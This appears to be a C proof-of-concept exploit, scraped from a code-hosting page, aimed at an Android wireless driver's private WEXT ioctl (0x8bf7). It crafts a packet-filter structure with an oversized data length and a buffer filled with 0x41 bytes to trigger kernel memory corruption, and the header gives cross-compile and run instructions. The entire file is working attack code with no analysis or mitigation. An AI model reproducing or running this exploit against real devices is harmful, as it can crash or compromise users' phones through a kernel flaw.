76 lines
No EOL
1.8 KiB
C
76 lines
No EOL
1.8 KiB
C
/*
|
|
* Coder: Shawn the R0ck, [citypw@gmail.com]
|
|
* Co-worker: Pray3r, [pray3r.z@gmail.com]
|
|
* Compile:
|
|
* # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT -pie
|
|
* # ./a.out wlan0
|
|
* Boom......shit happens[ as always];-)
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <linux/wireless.h>
|
|
#include <errno.h>
|
|
|
|
typedef unsigned char v_U8_t;
|
|
#define HDD_MAX_CMP_PER_PACKET_FILTER 5
|
|
|
|
struct PacketFilterParamsCfg {
|
|
v_U8_t protocolLayer;
|
|
v_U8_t cmpFlag;
|
|
v_U8_t dataOffset;
|
|
v_U8_t dataLength;
|
|
v_U8_t compareData[8];
|
|
v_U8_t dataMask[8];
|
|
};
|
|
|
|
typedef struct {
|
|
v_U8_t filterAction;
|
|
v_U8_t filterId;
|
|
v_U8_t numParams;
|
|
struct PacketFilterParamsCfg
|
|
paramsData[HDD_MAX_CMP_PER_PACKET_FILTER];
|
|
} tPacketFilterCfg, *tpPacketFilterCfg;
|
|
|
|
int main(int argc, const char *argv[])
|
|
{
|
|
if (argc != 2) {
|
|
fprintf(stderr, "Bad usage\n");
|
|
fprintf(stderr, "Usage: %s ifname\n", argv[0]);
|
|
return -1;
|
|
}
|
|
|
|
struct iwreq req;
|
|
strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
|
|
int fd, status, i = 0;
|
|
fd = socket(AF_INET, SOCK_DGRAM, 0);
|
|
tPacketFilterCfg p_req;
|
|
|
|
/* crafting a data structure to triggering the code path */
|
|
req.u.data.pointer =
|
|
malloc(sizeof(v_U8_t) * 3 +
|
|
sizeof(struct PacketFilterParamsCfg) * 5);
|
|
p_req.filterAction = 1;
|
|
p_req.filterId = 0;
|
|
p_req.numParams = 3;
|
|
for (; i < 5; i++) {
|
|
p_req.paramsData[i].dataLength = 241;
|
|
memset(&p_req.paramsData[i].compareData, 0x41, 16);
|
|
}
|
|
|
|
memcpy(req.u.data.pointer, &p_req,
|
|
sizeof(v_U8_t) * 3 +
|
|
sizeof(struct PacketFilterParamsCfg) * 5);
|
|
|
|
if (ioctl(fd, 0x8bf7, &req) == -1) {
|
|
fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
|
|
argv[1], strerror(errno));
|
|
} else {
|
|
printf("You shouldn't see this msg...\n");
|
|
}
|
|
|
|
} |